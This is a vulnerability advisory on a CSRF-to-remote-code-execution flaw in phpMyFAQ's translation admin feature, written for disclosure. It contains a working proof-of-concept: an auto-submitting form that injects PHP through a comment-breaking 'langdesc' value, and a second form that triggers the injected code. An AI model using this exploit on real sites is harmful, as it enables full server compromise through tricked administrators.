RCE via CSRF in phpMyFAQ

High-Tech Bridge Security Research Lab discovered a high-risk security vulnerability in a popular multilingual FAQ software phpMyFAQ. A remote attacker can execute arbitrary PHP code on vulnerable system via CSRF attack against website administrator and completely compromise vulnerable web application.

The vulnerability exists due to application does not properly verify origin of HTTP requests in "Interface Translation" functionality. A remote unauthenticated attacker can create a specially crafted malicious web page with CSRF exploit, trick a logged-in administrator to visit the page, spoof the HTTP request, as if it was coming from the legitimate user, inject and execute arbitrary PHP code on the target system with privileges of the webserver.

A simple CSRF exploit below can be used to inject "phpinfo()" PHP function into file "/lang/language_af.php":

<form action="http://[host]/admin/index.php?action=ajax&ajax=trans&ajaxaction=save _added_trans" method="POST" name="main">
<input type="hidden" name="translang" value="AF" />
<input type="hidden" name="langdir" value="ltr" />
<input type="hidden" name="langnplurals" value="1" />
<input type="hidden" name="langdesc" value="*/ phpinfo(); /*" />
<input type="hidden" name="author[]" value="2" />
<input type="submit" value="Submit request" />
</form><script>document.main.submit();</script>

To trigger the execution of "phpinfo()", just open the following file in your browser (no privileges required):

<form action="http://[host]/" method="POST">
<input type="hidden" name="action" value="" />
<input type="hidden" name="language" value="af" />
<input type="submit" value="Submit request" />
</form>